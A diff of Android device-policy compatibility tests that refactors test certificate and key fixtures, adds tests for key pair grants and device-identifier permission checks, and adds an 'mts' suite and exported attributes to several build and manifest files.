-                    "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
-                    "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
-                    "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
-                    "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
-                    "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
-                    "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
-                    "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
-                    "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
-                    "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
-                    "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
-                    "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
-                    "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
-                    "wQ==\n" +
-                    "-----END CERTIFICATE-----";
-    // Content from userkey.pem without the private key header and footer.
-    private static final String TEST_KEY =
-            "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALCYprGsTU+5L3KM\n" +
-                    "fhkm0gXM2xjGUH+543YLiMPGVr3eVS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqU\n" +
-                    "mhegxG4s3IvGYVB0KZoRIjDKmnnvlx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T\n" +
-                    "9sV6zW2Wzri+f5mvzKjhnArbLktHAgMBAAECgYBlfVVPhtZnmuXJzzQpAEZzTugb\n" +
-                    "tN1OimZO0RIocTQoqj4KT+HkiJOLGFQPwbtFpMre+q4SRqNpM/oZnI1yRtKcCmIc\n" +
-                    "mZgkwJ2k6pdSxqO0ofxFFTdT9czJ3rCnqBHy1g6BqUQFXT4olcygkxUpKYUwzlz1\n" +
-                    "oAl487CoPxyr4sVEAQJBANwiUOHcdGd2RoRILDzw5WOXWBoWPOKzX/K9wt0yL+mO\n" +
-                    "wlFNFSymqo9eLheHcEq/VD9qK9rT700dCewJfWj6+bECQQDNXmWNYIxGii5NJilT\n" +
-                    "OBOHiMD/F0NE178j+/kmacbhDJwpkbLYXaP8rW4+Iswrm4ORJ59lvjNuXaZ28+sx\n" +
-                    "fFp3AkA6Z7Bl/IO135+eATgbgx6ZadIqObQ1wbm3Qbmtzl7/7KyJvZXcnuup1icM\n" +
-                    "fxa//jtwB89S4+Ad6ZJ0WaA4dj5BAkEAuG7V9KmIULE388EZy8rIfyepa22Q0/qN\n" +
-                    "hdt8XasRGHsio5Jdc0JlSz7ViqflhCQde/aBh/XQaoVgQeO8jKyI8QJBAJHekZDj\n" +
-                    "WA0w1RsBVVReN1dVXgjm1CykeAT8Qx8TUmBUfiDX6w6+eGQjKtS7f4KC2IdRTV6+\n" +
-                    "bDzDoHBChHNC9ms=\n";
-
-    // Content from usercert.pem without the header and footer.
-    private static final String TEST_CERT =
-            "MIIDEjCCAfqgAwIBAgIBATANBgkqhkiG9w0BAQsFADBFMQswCQYDVQQGEwJBVTET\n" +
-                    "MBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0cyBQ\n" +
-                    "dHkgTHRkMB4XDTE1MDUwMTE2NTQwNVoXDTI1MDQyODE2NTQwNVowWzELMAkGA1UE\n" +
-                    "BhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdp\n" +
-                    "ZGdpdHMgUHR5IEx0ZDEUMBIGA1UEAwwLY2xpZW50IGNlcnQwgZ8wDQYJKoZIhvcN\n" +
-                    "AQEBBQADgY0AMIGJAoGBALCYprGsTU+5L3KMfhkm0gXM2xjGUH+543YLiMPGVr3e\n" +
-                    "VS7biue1/tQlL+fJsw3rqsPKJe71RbVWlpqUmhegxG4s3IvGYVB0KZoRIjDKmnnv\n" +
-                    "lx6nngL2ZJ8O27U42pHsw4z4MKlcQlWkjL3T9sV6zW2Wzri+f5mvzKjhnArbLktH\n" +
-                    "AgMBAAGjezB5MAkGA1UdEwQCMAAwLAYJYIZIAYb4QgENBB8WHU9wZW5TU0wgR2Vu\n" +
-                    "ZXJhdGVkIENlcnRpZmljYXRlMB0GA1UdDgQWBBQ8GL+jKSarvTn9fVNA2AzjY7qq\n" +
-                    "gjAfBgNVHSMEGDAWgBRzBBA5sNWyT/fK8GrhN3tOqO5tgjANBgkqhkiG9w0BAQsF\n" +
-                    "AAOCAQEAgwQEd2bktIDZZi/UOwU1jJUgGq7NiuBDPHcqgzjxhGFLQ8SQAAP3v3PR\n" +
-                    "mLzcfxsxnzGynqN5iHQT4rYXxxaqrp1iIdj9xl9Wl5FxjZgXITxhlRscOd/UOBvG\n" +
-                    "oMrazVczjjdoRIFFnjtU3Jf0Mich68HD1Z0S3o7X6sDYh6FTVR5KbLcxbk6RcoG4\n" +
-                    "VCI5boR5LUXgb5Ed5UxczxvN12S71fyxHYVpuuI0z0HTIbAxKeRw43I6HWOmR1/0\n" +
-                    "G6byGCNL/1Fz7Y+264fGqABSNTKdZwIU2K4ANEH7F+9scnhoO6OBp+gjBe5O+7jb\n" +
-                    "wZmUCAoTka4hmoaOCj7cqt/IkmxozQ==\n";
+    private static final String TEST_ALIAS = "DirectDelegatedCertInstallerTest-keypair";
+    private static final String NON_EXISTENT_ALIAS = "DirectDelegatedCertInstallerTest-nonexistent";
 
     private DevicePolicyManager mDpm;
+    private PrivateKey mTestPrivateKey;
+    private Certificate mTestCertificate;
+    private boolean mHasTelephony = false;
+    private TelephonyManager mTelephonyManager;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        mTestPrivateKey = rsaKeyFromString(TEST_KEY);
+        mTestCertificate = certificateFromString(TEST_CERT);
         mDpm = getContext().getSystemService(DevicePolicyManager.class);
+        PackageManager pm = getContext().getPackageManager();
+        if (pm != null && pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            mHasTelephony = true;
+            mTelephonyManager = (TelephonyManager) getContext().getSystemService(
+                    Context.TELEPHONY_SERVICE);
+        }
     }
 
     @Override
     public void tearDown() throws Exception {
         mDpm.uninstallCaCert(null, TEST_CA.getBytes());
+        mDpm.removeKeyPair(null, TEST_ALIAS);
         super.tearDown();
     }
 
@@ -162,20 +127,11 @@
                 mDpm.hasCaCertInstalled(null, cert)).isFalse();
     }
 
-    public void testInstallKeyPair()
-            throws GeneralSecurityException, KeyChainException, InterruptedException {
+    public void testInstallKeyPair() throws Exception {
         final String alias = "delegated-cert-installer-test-key";
 
-        PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(
-                Base64.decode(TEST_KEY, Base64.DEFAULT));
-        PrivateKey privatekey = KeyFactory.getInstance("RSA").generatePrivate(keySpec);
-
-        Certificate certificate = CertificateFactory.getInstance("X.509")
-                .generateCertificate(
-                        new Base64InputStream(new ByteArrayInputStream(TEST_CERT.getBytes()),
-                                Base64.DEFAULT));
-        assertThat(mDpm.installKeyPair(null, privatekey, new Certificate[]{certificate}, alias,
-                true)).isTrue();
+        assertThat(mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate},
+                alias, true)).isTrue();
 
         // Test that the installed private key can be obtained.
         PrivateKey obtainedKey = KeyChain.getPrivateKey(getContext(), alias);
@@ -211,26 +167,115 @@
     }
 
     public void testAccessToDeviceIdentifiers() {
-        String serialNumber = Build.getSerial();
-        assertThat(Build.getSerial()).doesNotMatch(Build.UNKNOWN);
+        final String adminPackageName = "com.android.cts.deviceandprofileowner";
+        if (mDpm.isDeviceOwnerApp(adminPackageName)) {
+            validateCanAccessDeviceIdentifiers();
+        } else {
+            validateNoAccessToIdentifier();
+        }
+    }
 
-        PackageManager pm = getContext().getPackageManager();
-        if ((pm == null) || (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))) {
+    private void validateNoAccessToIdentifier() {
+        assertThrows(SecurityException.class, () -> Build.getSerial());
+
+        if (!mHasTelephony) {
             return;
         }
 
-        TelephonyManager telephonyService = (TelephonyManager) getContext().getSystemService(
-                Context.TELEPHONY_SERVICE);
         assertWithMessage("Telephony service must be available.")
-                .that(telephonyService).isNotNull();
+                .that(mTelephonyManager).isNotNull();
+
+        assertThrows(SecurityException.class, () -> mTelephonyManager.getImei());
+    }
+
+    public void validateCanAccessDeviceIdentifiers() {
+        assertThat(Build.getSerial()).doesNotMatch(Build.UNKNOWN);
+
+        if (!mHasTelephony) {
+            return;
+        }
+
+        assertWithMessage("Telephony service must be available.")
+                .that(mTelephonyManager).isNotNull();
 
         try {
-            telephonyService.getImei();
+            mTelephonyManager.getImei();
         } catch (SecurityException e) {
             fail("Should have permission to access IMEI: " + e);
         }
     }
 
+    public void testHasKeyPair_NonExistent() {
+        assertThat(mDpm.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
+    }
+
+    public void testHasKeyPair_Installed() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+
+        assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isTrue();
+    }
+
+    public void testHasKeyPair_Removed() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+        mDpm.removeKeyPair(null, TEST_ALIAS);
+
+        assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isFalse();
+    }
+
+    public void testGetKeyPairGrants_Empty() {
+        // Not granting upon install.
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ false);
+
+        assertThat(mDpm.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_NonEmpty() {
+        // Granting upon install.
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+
+        assertThat(mDpm.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(Map.of(Process.myUid(), singleton(getContext().getPackageName())));
+    }
+
+    public void testIsWifiGrant_default() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate},
+                TEST_ALIAS, /* requestAccess= */ false);
+
+        assertThat(mDpm.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
+    }
+
+    public void testIsWifiGrant_allowed() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate},
+                TEST_ALIAS, /* requestAccess= */ false);
+        assertTrue(mDpm.grantKeyPairToWifiAuth(TEST_ALIAS));
+
+        assertThat(mDpm.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isTrue();
+    }
+
+    public void testIsWifiGrant_denied() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate},
+                TEST_ALIAS, /* requestAccess= */ false);
+        assertTrue(mDpm.grantKeyPairToWifiAuth(TEST_ALIAS));
+        assertTrue(mDpm.revokeKeyPairFromWifiAuth(TEST_ALIAS));
+
+        assertThat(mDpm.isKeyPairGrantedToWifiAuth(TEST_ALIAS)).isFalse();
+    }
+
+    private PrivateKey rsaKeyFromString(String key) throws Exception {
+        final PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(
+                Base64.decode(key, Base64.DEFAULT));
+        return KeyFactory.getInstance("RSA").generatePrivate(keySpec);
+    }
+
+    private Certificate certificateFromString(String cert) throws Exception {
+        return CertificateFactory.getInstance("X.509").generateCertificate(
+                new Base64InputStream(new ByteArrayInputStream(cert.getBytes()), Base64.DEFAULT));
+    }
+
     private static boolean containsCertificate(List<byte[]> certificates, byte[] toMatch)
             throws CertificateException {
         Certificate certificateToMatch = readCertificate(toMatch);
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
index 9bd0c7c..f4fbd66 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
@@ -24,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
index e9b08d8..fffaa33 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
@@ -25,6 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
index b21e99a..09554c2 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
@@ -25,6 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml
index 0710df7..fa4be0a 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml
@@ -16,16 +16,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.contentcaptureservice" >
+     package="com.android.cts.devicepolicy.contentcaptureservice">
 
     <application>
-        <service
-            android:name=".SimpleContentCaptureService"
-            android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE">
+        <service android:name=".SimpleContentCaptureService"
+             android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentcapture.ContentCaptureService" />
+                <action android:name="android.service.contentcapture.ContentCaptureService"/>
             </intent-filter>
         </service>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
index 5a3275c..e98b934 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -25,6 +25,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml
index c42469b..8b78d27 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml
@@ -16,23 +16,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.contentsuggestionsapp" >
+     package="com.android.cts.devicepolicy.contentsuggestionsapp">
 
     <application>
-        <activity android:name=".SimpleActivity" android:exported="true">
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name=".SimpleContentSuggestionsService"
-            android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE">
+        <service android:name=".SimpleContentSuggestionsService"
+             android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentsuggestions.ContentSuggestionsService" />
+                <action android:name="android.service.contentsuggestions.ContentSuggestionsService"/>
             </intent-filter>
         </service>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
index c141c8e..8ee2426 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
@@ -46,6 +46,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
 
@@ -74,6 +75,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     aaptflags: [
         "--rename-manifest-package",
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
index b24e8c8..522153c 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
@@ -15,21 +15,18 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.comp" >
+     package="com.android.cts.comp">
     <!-- package="com.android.cts.comp2"
-         We have com.android.cts.comp2 that have the exact same source but with different package
-         name, see Android.mk for details. -->
-    <application
-        android:testOnly="true">
+                 We have com.android.cts.comp2 that have the exact same source but with different package
+                 name, see Android.mk for details. -->
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.comp.AdminReceiver"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                    android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin"/>
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.comp.AdminReceiver"
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
                 <action android:name="android.app.action.PROFILE_PROVISIONING_COMPLETE"/>
@@ -38,22 +35,23 @@
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
         <service android:name=".ProtectedCrossUserService"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
         </service>
 
         <service android:name=".UnprotectedCrossUserService"
-                android:exported="true">
+             android:exported="true">
         </service>
 
-        <receiver android:name=".WipeDataReceiver">
+        <receiver android:name=".WipeDataReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.comp.WIPE_DATA" />
+                <action android:name="com.android.cts.comp.WIPE_DATA"/>
             </intent-filter>
         </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.comp"
-            android:label="Corp owned managed profile CTS tests"/>
+         android:targetPackage="com.android.cts.comp"
+         android:label="Corp owned managed profile CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
index d2a0194..2315719 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
@@ -34,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
index 474df01..c810539 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
@@ -15,23 +15,25 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileappstest">
+     package="com.android.cts.crossprofileappstest">
 
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="25"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.crossprofileappstest.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.crossprofileappstest.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <activity android:name=".MainActivity" android:exported="true">
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -39,13 +41,15 @@
             </intent-filter>
         </activity>
 
-        <activity android:name=".NonMainActivity" android:exported="true">
+        <activity android:name=".NonMainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="nonMainActivity" />
+                <action android:name="nonMainActivity"/>
             </intent-filter>
         </activity>
 
-        <activity android:name=".NonExportedActivity" android:exported="false">
+        <activity android:name=".NonExportedActivity"
+             android:exported="false">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -64,8 +68,8 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileappstest"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileappstest"
+         android:label="Launcher Apps CTS Tests"/>
 
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
index dfa5a8a..ec78ab2 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
@@ -34,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
index ab0e16a..f7d31e3 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
@@ -34,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml
index f3fde4c..2729fda 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml
@@ -16,24 +16,25 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileenabledapp">
+     package="com.android.cts.crossprofileenabledapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
-    <application
-        android:crossProfile="true">
-        <receiver android:name=".CrossProfileEnabledAppReceiver">
+    <application android:crossProfile="true">
+        <receiver android:name=".CrossProfileEnabledAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileenabledapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
index a3189b4..8cb5d00 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
@@ -34,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml
index 243fa23..f7baec4 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml
@@ -16,25 +16,26 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileenablednopermsapp">
+     package="com.android.cts.crossprofileenablednopermsapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <!-- We need to request the permission, which is denied in the test. -->
     <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
 
-    <application
-        android:crossProfile="true">
-        <receiver android:name=".CrossProfileEnabledNoPermsAppReceiver">
+    <application android:crossProfile="true">
+        <receiver android:name=".CrossProfileEnabledNoPermsAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileenablednopermsapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileenablednopermsapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
index d7de8c6..cdb5335 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
@@ -34,5 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
